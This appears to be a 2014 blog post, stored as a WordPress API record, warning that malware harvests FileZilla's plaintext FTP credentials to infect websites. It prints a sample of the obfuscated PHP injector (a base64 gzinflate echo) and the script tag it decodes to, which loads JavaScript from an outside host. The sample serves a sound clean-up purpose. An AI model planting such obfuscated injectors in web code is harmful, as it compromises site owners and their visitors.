{"id":1677,"date":"2014-01-04T21:48:54","date_gmt":"2014-01-04T19:48:54","guid":{"rendered":"http:\/\/www.extradrm.com\/?p=1677"},"modified":"2020-10-04T21:52:47","modified_gmt":"2020-10-04T19:52:47","slug":"filezilla-security-hole-hacking-web-sites","status":"publish","type":"post","link":"https:\/\/www.extradrm.com\/?p=1677","title":{"rendered":"Filezilla security hole hacking web sites"},"content":{"rendered":"
If you are using FileZilla as your FTP client, there is malware out there that will grab your FTP credentials from the Filezilla PLAIN TEXT FILE (yikes! ) and use that information to insert that malware code (indicated by the #b58b6f#<\/strong> type of code around a “gzinflate(base64_decode)” command. That is how your files will get attacked\/compromised.<\/div>\n
<\/div>\n
Look in your %APPDATA%\/Roaming\/Filezilla folder. One of the XML files in there has all your FTP web site credential (user\/password\/etc) in PLAIN TEXT! And the FileZilla people refuse to fix that obvious security hole.<\/div>\n
<\/div>\n
My recommendation is :<\/strong><\/span><\/div>\n
– Change your FTP Password to your hosting<\/div>\n
– Delete FileZilla from your computer (and you have to manually delete the folder in your APPDATA folder).<\/div>\n
– Use another FTP secured client<\/div>\n
<\/div>\n
<\/div>\n
Example of hacking sequence that you must clean your code from :<\/div>\n
#c3284d#<\/strong>
\necho(gzinflate(base64_decode(“JcwxDoAgDADAr5Du0sTR4FoUEUsZEq+ntG+4vrgjsih5mAwI3YKLveyvoMrhDMwi3CHWWvXV1GbSnjBml05PBYPVPPMYvWlBZbt9S9j3kCjFvMLQ418NLw==”)));<\/strong>
\n#\/c3284d#<\/strong><\/div>\n
is transcoded to this sequence :
\n<!–c3284d–><script type=”text\/javascript” src=”http:\/\/www.v-w-b.de\/includes\/ga.php?id=2″ name=”googlelink”><\/script><!–\/c3284d–><\/strong><\/div>\n
<\/div>\n
Cheers<\/div>\n","protected":false},"excerpt":{"rendered":"

If you are using FileZilla as your FTP client, there is malware out there that will grab your FTP credentials from the Filezilla PLAIN TEXT FILE (yikes! ) and use that information to insert...<\/p>\n","protected":false},"author":1,"featured_media":2846,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[30],"tags":[],"youtube_video":null,"_links":{"self":[{"href":"https:\/\/www.extradrm.com\/index.php?rest_route=\/wp\/v2\/posts\/1677"}],"collection":[{"href":"https:\/\/www.extradrm.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.extradrm.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.extradrm.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.extradrm.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1677"}],"version-history":[{"count":0,"href":"https:\/\/www.extradrm.com\/index.php?rest_route=\/wp\/v2\/posts\/1677\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.extradrm.com\/index.php?rest_route=\/wp\/v2\/media\/2846"}],"wp:attachment":[{"href":"https:\/\/www.extradrm.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1677"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.extradrm.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1677"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.extradrm.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1677"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}